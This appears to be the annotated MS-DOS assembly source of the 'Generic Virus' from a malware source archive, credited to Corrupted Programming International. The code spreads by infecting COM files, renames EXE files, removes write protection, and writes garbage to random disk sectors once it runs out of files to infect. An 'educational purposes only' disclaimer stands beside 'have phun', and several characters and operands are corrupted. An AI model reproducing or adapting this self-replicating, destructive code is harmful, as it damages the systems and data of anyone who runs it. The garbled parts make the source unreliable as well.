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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.generic.asm

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2021-01-12 23:44:11 +00:00
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; T H E
; _ _
; (g) GENERIC VIRUS (g)
; ^ ^
;
;
; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR <20>PROGRAM TO BIG TO
; FIT IN MEMORY<52> THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
;
; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
; THE DISK. HAVE PHUN WITH THIS ONE.
;
; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
;
; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
;
; DOCTOR DISSECTOR
; CPI ASSOCIATES
;
;=============================================================================
MAIN:
NOP ;| Marker bytes that identify this program
NOP ;| as infected/a virus
NOP ;|
MOV AX,00 ;| Initialize the pointers
MOV ES:[POINTER],AX ;|
MOV ES:[COUNTER],AX ;|
MOV ES:[DISKS B],AL ;|
MOV AH,19 ;| Get the selected drive (dir?)
INT 21 ;|
MOV CS:DRIVE,AL ;| Get current path (save drive)
MOV AH,47 ;| (dir?)
MOV DH,0 ;|
ADD AL,1 ;|
MOV DL,AL ;| (in actual drive)
LEA SI,CS:OLD_PATH ;|
INT 21 ;|
MOV AH,0E ;| Find # of drives
MOV DL,0 ;|
INT 21 ;|
CMP AL,01 ;| (Check if only one drive)
JNZ HUPS3 ;| (If not one drive, go the HUPS3)
MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive)
HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive
LEA BX,SEARCH_ORDER ;|
ADD BX,AX ;|
ADD BX,0001 ;|
MOV CS:POINTER,BX ;|
CLC ;|
CHANGE_DISK: ;| Carry is set if no more .COM files are
JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be
MOV AH,17 ;| renamed to .COM (change .EXE to .COM)
LEA DX,CS:MASKE_EXE ;| but will cause the error message <20>Program
INT 21 ;| to large to fit in memory<72> when starting
CMP AL,0FF ;| larger infected programs
JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found)
MOV AH,2CH ;| If neither .COM or .EXE files can be found,
INT 21 ;| then random sectors on the disk will be
MOV BX,CS:POINTER ;| overwritten depending on the system time
MOV AL,CS:[BX] ;| in milliseconds. This is the time of the
MOV BX,DX ;| complete <20>infection<6F> of a storage medium.
MOV CX,2 ;| The virus can find nothing more to infect
MOV DH,0 ;| starts its destruction.
INT 26 ;| (write crap on disk)
NO_NAME_CHANGE: ;| Check if the end of the search order table
MOV BX,CS:POINTER ;| has been reached. If so, end.
DEC BX ;|
MOV CS:POINTER,BX ;|
MOV DL,CS:[BX] ;|
CMP DL,0FF ;|
JNZ HUPS2 ;|
JMP HOPS ;|
HUPS2: ;| Get a new drive from the search order table
MOV AH,0E ;| and select it, beginning with the ROOT dir.
INT 21 ;| (change drive)
MOV AH,3B ;| (change path)
LEA DX,PATH ;|
INT 21 ;|
JMP FIND_FIRST_FILE ;|
FIND_FIRST_SUBDIR: ;| Starting from the root, search for the
MOV AH,17 ;| first subdir. First, (change .exe to .com)
LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the
INT 21 ;| old directory.
MOV AH,3B ;| (use root directory)
LEA DX,PATH ;|
INT 21 ;|
MOV AH,04E ;| (search for first subdirectory)
MOV CX,00010001B ;| (dir mask)
LEA DX,MASKE_DIR ;|
INT 21 ;|
JC CHANGE_DISK ;|
MOV BX,CS:COUNTER ;|
INC BX ;|
DEC BX ;|
JZ USE_NEXT_SUBDIR ;|
FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more
MOV AH,4FH ;| are found, the (search for next subdir)
INT 21 ;| drive will be changed.
JC CHANGE_DISK ;|
DEC BX ;|
JNZ FIND_NEXT_SUBDIR ;|
USE_NEXT_SUBDIR:
MOV AH,2FH ;| Select found directory. (get dta address)
INT 21 ;|
ADD BX,1CH ;|
MOV ES:[BX],W<EFBFBD>\<EFBFBD> ;| (address of name in dta)
INC BX ;|
PUSH DS ;|
MOV AX,ES ;|
MOV DS,AX ;|
MOV DX,BX ;|
MOV AH,3B ;| (change path)
INT 21 ;|
POP DS ;|
MOV BX,CS:COUNTER ;|
INC BX ;|
MOV CS:COUNTER,BX ;|
FIND_FIRST_FILE: ;| Find first .COM file in the current dir.
MOV AH,04E ;| If there are none, (Search for first)
MOV CX,00000001B ;| search the next directory. (mask)
LEA DX,MASKE_COM ;|
INT 21 ;|
JC FIND_FIRST_SUBDIR ;|
JMP CHECK_IF_ILL ;|
FIND_NEXT_FILE: ;| If program is ill (infected) then search
MOV AH,4FH ;| for another. (search for next)
INT 21 ;|
JC FIND_FIRST_SUBDIR ;|
CHECK_IF_ILL: ;| Check if already infected by virus.
MOV AH,3D ;| (open channel)
MOV AL,02 ;| (read/write)
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV BX,AX ;| (save channel)
MOV AH,3FH ;| (read file)
MOV CH,BUFLEN ;|
MOV DX,BUFFER ;| (write in buffer)
INT 21 ;|
MOV AH,3EH ;| (close file)
INT 21 ;|
MOV BX,CS:[BUFFER] ;| (look for three NOP<4F>s)
CMP BX,9090 ;|
JZ FIND_NEXT_FILE ;|
MOV AH,43 ;| This section by-passes (write enable)
MOV AL,0 ;| the MS/PC DOS Write Protection.
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV AH,43 ;|
MOV AL,01 ;|
AND CX,11111110B ;|
INT 21 ;|
MOV AH,3D ;| Open file for read/write (open channel)
MOV AL,02 ;| access (read/write)
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV BX,AX ;| Read date entry of program and (channel)
MOV AH,57 ;| save for future use. (get date)
MOV AL,0 ;|
INT 21 ;|
PUSH CX ;| (save date)
PUSH DX ;|
MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp)
MOV CS:[JMPBUF],DX ;| the program will be saved for future use.
MOV DX,CS:[BUFFER+1] ;| (save new jump)
LEA CX,CONT-100 ;|
SUB DX,CX ;|
MOV CS:[CONTA],DX ;|
MOV AH,57 ;| The virus now copies itself to (write date)
MOV AL,1 ;| to the start of the file.
POP DX ;|
POP CX ;| (restore date)
INT 21 ;|
MOV AH,3EH ;| (close file)
INT 21 ;|
MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus
MOV CS:[CONTA],DX ;| at address <20>CONTA<54> the jump which was at the
;| start of the program. This is done to
HOPS: ;| preserve the executability of the host
NOP ;| program as much as possible. After saving,
CALL USE_OLD ;| it still works with the jump address in the
;| virus. The jump address in the virus differs
;| from the jump address in memory
CONT DB 0E9 ;| Continue with the host program (make jump)
CONTA DW 0 ;|
MOV AH,00 ;|
INT 21 ;|
USE_OLD:
MOV AH,0E ;| Reactivate the selected (use old drive)
MOV DL,CS:DRIVE ;| drive at the start of the program, and
INT 21 ;| reactivate the selected path at the start
MOV AH,3B ;| of the program.(use old drive)
LEA DX,OLD_PATH-1 ;| (get old path and backslash)
INT 21 ;|
RET ;|
SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
POINTER DW 0000 ;| (pointer f. search order)
COUNTER DW 0000 ;| (counter f. nth. search)
DISKS DB 0 ;| (number of disks)
MASKE_COM DB <EFBFBD>*.COM<EFBFBD>,00 ;| (search for com files)
MASKE_DIR DB <EFBFBD>*<EFBFBD>,00 ;| (search for dir<69>s)
MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB
DB 0,<EFBFBD>????????EXE<EFBFBD>,0,0,0,0
DB 0,<EFBFBD>????????COM<EFBFBD>,0
MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB
DB 0,<EFBFBD>???????????<EFBFBD>,0,0,0,0
DB 0,<EFBFBD>????????COM<EFBFBD>,0
BUFFER EQU 0E00 ;| (a safe place)
BUFLEN EQU 208H ;| Length of virus. Modify this accordingly
;| if you modify this source. Be careful
;| for this may change!
JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp)
PATH DB <EFBFBD>\<EFBFBD>,0 ;| (first place)
DRIVE DB 0 ;| (actual drive)
BACK_SLASH DB <EFBFBD>\<EFBFBD>
OLD_PATH DB 32 DUP (?) ;| (old path)

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